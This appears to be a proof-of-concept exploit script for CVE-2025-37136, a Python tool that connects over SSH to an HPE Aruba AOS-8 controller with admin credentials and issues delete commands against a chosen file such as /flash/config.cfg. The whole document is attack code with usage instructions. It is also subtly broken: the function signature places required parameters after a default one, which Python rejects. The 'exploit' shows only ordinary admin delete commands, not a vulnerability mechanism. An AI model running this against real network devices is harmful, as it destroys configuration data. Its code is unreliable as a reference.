CVE-2025-37136

# CVE-2025-37136 PoC - HPE AOS-8 CLI Arbitrary File Deletion # Vulnerability: Arbitrary file deletion via CLI command # Affected: HPE Aruba Networking AOS-8 Controller / Mobility Conductor # Requirements: Authenticated admin-level access import paramiko import sys def exploit_aruba_aos8(target_host, port=22, username, password, target_file): """ Exploit arbitrary file deletion vulnerability in HPE AOS-8 CLI Args: target_host: IP address of the Aruba controller port: SSH port (default 22) username: Admin username password: Admin password target_file: Path of file to delete (e.g., /flash/config.cfg) """ client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) try: # Connect to the Aruba controller via SSH client.connect( hostname=target_host, port=port, username=username, password=password, look_for_keys=False, allow_agent=False ) # Execute the malicious delete command via CLI # The vulnerability allows arbitrary file deletion through CLI commands commands = [ f"delete flash: {target_file}", f"file delete {target_file}", ] for cmd in commands: print(f"[*] Executing: {cmd}") stdin, stdout, stderr = client.exec_command(cmd) output = stdout.read().decode('utf-8', errors='ignore') error = stderr.read().decode('utf-8', errors='ignore') if output: print(f"[+] Output: {output}") if error: print(f"[-] Error: {error}") print(f"[+] File deletion attempt completed for: {target_file}") except paramiko.AuthenticationException: print("[-] Authentication failed. Valid admin credentials required.") except Exception as e: print(f"[-] Error: {str(e)}") finally: client.close() if __name__ == "__main__": if len(sys.argv) < 5: print("Usage: python3 exploit.py <target_ip> <username> <password> <target_file>") print("Example: python3 exploit.py 192.168.1.1 admin password123 /flash/config.cfg") sys.exit(1) target = sys.argv[1] user = sys.argv[2] passwd = sys.argv[3] file_to_delete = sys.argv[4] exploit_aruba_aos8(target, 22, user, passwd, file_to_delete)

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